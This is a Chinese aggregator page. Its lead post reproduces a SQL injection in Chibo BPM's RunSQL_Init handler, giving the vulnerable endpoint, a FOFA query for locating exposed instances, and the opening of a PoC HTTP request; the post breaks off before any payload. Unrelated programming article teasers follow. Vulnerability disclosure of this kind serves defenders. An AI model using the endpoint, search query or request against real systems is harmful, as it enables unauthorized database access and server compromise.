当前位置：首页 > news >正文

驰骋BPM RunSQL_Init SQL注入漏洞复现

news 2026/2/9 21:01:34

0x01 产品简介

驰骋BPM系统由济南驰骋信息技术有限公司研发，具有悠久的历史和丰富的行业经验。其工作流引擎CCFlow自2003年开始研发，是国内知名的老牌工作流引擎，在BPM领域拥有广泛的研究群体与应用客户群。统提供.net与java两个版本，且两个版本的代码结构、数据库结构、设计思想、功能组成、操作手册完全相同。产品核心代码100%开源，便于用户跟踪调试、修改及扩展。

0x02 漏洞概述

驰骋BPM RunSQL_Init 存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：

icon_hash="-1564380241" || body="正在登录流程&表单引擎设计器,请稍候"

0x04 漏洞复现

PoC

POST /WF/Comm/Handler.ashx?DoType=RunSQL_Init HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----123128

驰骋BPM RunSQL_Init SQL注入漏洞复现

0x01 产品简介驰骋BPM系统由济南驰骋信息技术有限公司研发，具有悠久的历史和丰富的行业经验。其工作流引擎CCFlow自2003年开始研发，是国内知名的老牌工作流引擎，在BPM领域拥有广泛的研究群体与应用客户群。统提供.net与java两个版本，且两个版本的代码结构、数据库结构、设…...

编程日记 2024/8/10 10:24:11

谷粒商城实战笔记-143-性能压测-压力测试-JMeter在windows下地址占用bug解决

文章目录问题背景解决步骤1. 修改端口范围2. 调整端口回收时间3. 重启机器补充说明为什么端口会被用完？为什么Windows要设置这样的限制？ 注意事项参考链接在进行性能压测或压力测试时，使用JMeter这样的工具来模拟大量用户请求，…...

编程日记 2024/8/10 10:22:09

Pod的调度机制

文章目录一、Pod调度概述二、Pod调度策略实现方式三、kube-scheduler调度1、kube-scheduler调度的流程2、过滤阶段3、打分阶段4、kube-scheduler 调度示例4.1、创建 Deployment 资源清单4.2、应用Deployment4.3、查看被kube-scheduler自动调度的Pod 四、nodeName调度1、创建Po…...

编程日记 2024/8/10 10:20:07

JIT（即时编译）编译器

JIT（即时编译）编译器是Java虚拟机（JVM）中的一个重要组件，它的主要作用是将Java字节码（bytecode）在运行时动态编译成高效的机器码，从而显著提高Java程序的执行效率。JIT编译器优化是J…...

编程日记 2024/8/10 10:19:05

在dataX-web中循环执行时数据的同步方式解决中文comment中文乱码在mysql中 # （0）修改库注释 alter table DBS modify column desc varchar(256) character set utf8; alter table DATABASE_PARAMS modify column PARAM_VALUE varchar(256) characte…...

编程日记 2024/8/10 10:18:04

Jvm G1与ZGC启动参数

G1GC G1GC 启动参数示例 -XX:UseG1GC -Xms4g -Xmx4g -XX:MaxGCPauseMillis200 -XX:InitiatingHeapOccupancyPercent45 -XX:G1HeapRegionSize16m -XX:ConcGCThreads2 -XX:ParallelGCThreads4 -XX:MetaspaceSize128m -XX:MaxMetaspaceSize512m -XX:ParallelRefProcEnabled -XX:…...

编程日记 2024/8/10 10:16:01

zdpgo_gin_zap 整合zdpgo_gin框架和zdpgo_zap框架的日志中间件，用于实现路由日志记录

zdpgo_gin_zap 整合zdpgo_gin框架和zdpgo_zap框架的日志中间件，用于实现路由日志记录安装 go get github.com/zhangdapeng520/zdpgo_gin_zap使用教程基本用法 package mainimport ("fmt""time"gin "github.com/zhangdapeng520/zdpg…...

编程日记 2024/8/10 10:08:52

FOC电流环

interrupt void ISRTimer0(void) { IQ_Ref2.2;//在电流环下给负电流电机反转 IQ_Fdbiq; IQ_ErrorIQ_Ref-IQ_Fdb; IQ_UpIQ_Kp*IQ_Error; IQ_UiIQ_Ui IQ_Ki*IQ_Up IQ_Kc*IQ_SatErr…...

编程日记 2024/8/10 10:03:46

工业设备数据采集方案的设计实施与应用-天拓四方

随着工业4.0时代的来临，工业设备数据采集成为了提升生产效率、优化能源管理、实现智能化决策的关键环节。本文将围绕工业设备数据采集的重要性、方案设计实施以及TDE工业网关的应用实践展开探讨，以期为相关企业提供一种清晰、专业且实操性强的数据采集方…...

编程日记 2024/8/10 10:02:44

【MySQL】索引——索引的实现、B+ vs B、聚簇索引 VS 非聚簇索引、索引操作、创建索引、查询索引、删除索引

文章目录 MySQL5. 索引的实现5.1 B vs B5.2 聚簇索引 VS 非聚簇索引 6. 索引操作6.1 创建主键索引6.2 创建唯一索引6.3 创建普通索引6.4 创建全文索引6.5 查询索引6.6 删除索引 MySQL 5. 索引的实现因为MySQL和磁盘交互的基本单位为Page（页）。 MySQL 中…...

编程日记 2024/8/10 9:59:41

剖析HTML 元素——WEB开发系列02

HTML元素是构成HTML文档结构的基本单位，定义了页面上的不同部分和内容。HTML元素可以包含不同类型的内容，如文本、图片、链接、表格等，每种元素都有其特定的用途和语义。通过组合和嵌套不同的HTML元素，可以创建复杂的网页结构和布…...

编程日记 2024/8/10 9:57:38

影响3D打印零件品质的关键因素探析

随着科技的飞速发展，3D打印技术作为一种革命性的制造方式，正逐渐渗透到各个行业和领域。然而，尽管3D打印技术在设计和制造上带来了前所未有的灵活性和效率，但其零件品质却受到多种因素的复杂影响。本文将从设备性能、材料选择、工…...

编程日记 2024/8/10 9:56:36

Oracle事务是怎么练成的

什么是事务事务是数据库管理系统执行过程的一个逻辑单位，由一系列有限的数据库操作序列构成，事务必须满足‌ACID属性。ACID理论是数据库中最重要的概念之一，分别代表原子性（Atomicity）、一致性（Consisten…...

编程日记 2024/8/10 9:55:35

线程与多线程（一）

线程与多线程（一） 一、线程1、概念2、示意图3、虚拟地址转换到物理地址4、与进程相比的优点5、与进程相比的缺点6、与进程的关系（1）线程独有（2）共享（3）示意图二、POSIX线程库三、创…...

编程日记 2024/8/10 9:54:34

连接其他主机上的redis连接不上`telnet: Unable to connect to remote host: Connection refused`

telnet: Unable to connect to remote host: Connection refused 这个错误通常表示目标主机（192.168.8.29）上的服务（6379端口）没有运行，或者主机的防火墙/网络设置阻止了连接。你可以尝试以下步骤来解决问题&#xf…...

编程日记 2024/8/10 9:53:33

dijkstral算法详解

import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.Map;public class test39 {// 定义节点类，表示图中的顶点public static class Node {public int value; // 节点的值，即编号public int in; // 进入…...

编程日记 2024/8/10 9:51:29

创意指南丨AR数学沉浸式空间体验

AR学习种类那么多，哪款最吸引你？ 星河造梦坊和Unity联手打造的沉浸式空间AR无疑是其中的佼佼者。这款应用不仅利用AR技术将抽象的数学概念变得生动有趣，还通过互动体验让学习者仿佛置身于一个充满奇幻色彩的数学世界中。无论是学生还是教…...

编程日记 2024/8/10 9:50:28

linux文件——深度学习文件fd、文件系统调用

前言：从本片开始正式进入linux文件的学习，本片内容主要是文件的fd。本篇内容博主将要先带友友回忆C语言中的文件操作接口，然后再过渡到操作系统中的系统调用的学习，最后理解操作系统中的文件操作。 ps：本节内容设计一…...

编程日记 2024/8/10 9:49:27

003集——C#数据类型及大小端序转换——C#学习笔记

如需得到一个类型或一个变量在特定平台上的准确尺寸，可以使用 sizeof 方法。表达式 sizeof(type) 产生以字节为单位存储对象或类型的存储尺寸。下面举例获取任何机器上 int 类型的存储尺寸： using System;namespace DataTypeApplication {class Program{…...

编程日记 2024/8/10 9:40:18

结构化输出及其使用方法

在 LLM 应用程序中构建稳健性和确定性图片来自作者欢迎来到雲闪世界。OpenAI最近宣布其最新的gpt-4o-2024–08–06模型支持结构化输出。与大型语言模型 (LLM) 相关的结构化输出并不是什么新鲜事——开发人员要么使用各种快速工程技术，要么使用第三方工具。在本文…...

编程日记 2024/8/10 9:38:16

Lombok 的 @Data 注解失效，未生成 getter/setter 方法引发的HTTP 406 错误

HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误，它们的含义、原因和解决方法都有显著区别。以下是详细对比： 1. HTTP 406 (Not Acceptable) 含义： 客户端请求的内容类型与服务器支持的内容类型不匹…...

编程新知 2026/2/1 20:49:03

利用ngx_stream_return_module构建简易 TCP/UDP 响应网关

一、模块概述 ngx_stream_return_module 提供了一个极简的指令： return <value>;在收到客户端连接后，立即将 <value> 写回并关闭连接。<value> 支持内嵌文本和内置变量（如 $time_iso8601、$remote_addr 等）&a…...

编程新知 2025/9/21 0:49:02

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景随着HarmonyOS 5.0对Web兼容层的增强，React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。二、核心实现方案 1. 环境配置 （1）使用React Native…...

编程新知 2025/8/19 2:57:37

高危文件识别的常用算法：原理、应用与企业场景

高危文件识别的常用算法：原理、应用与企业场景高危文件识别旨在检测可能导致安全威胁的文件，如包含恶意代码、敏感数据或欺诈内容的文档，在企业协同办公环境中（如Teams、Google Workspace）尤为重要。结合大模型技术&…...

编程新知 2026/2/8 10:51:42

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。本弹重点聚焦于服务端的模块划分与架构设计，提升代码结构的可维护性与扩展性。二、服务端模块设计目标高内聚低耦合：各模块职责清晰，便于独立开发…...

编程新知 2025/10/13 4:15:41

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念线程安全（Thread Safety） 线程安全是指在多线程环境下，某个函数、类或代码片段能够被多个线程同时调用时，仍能保证数据的一致性和逻辑的正确性&#xf…...

编程新知 2025/12/2 3:35:50

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

编程新知 2026/2/8 1:58:01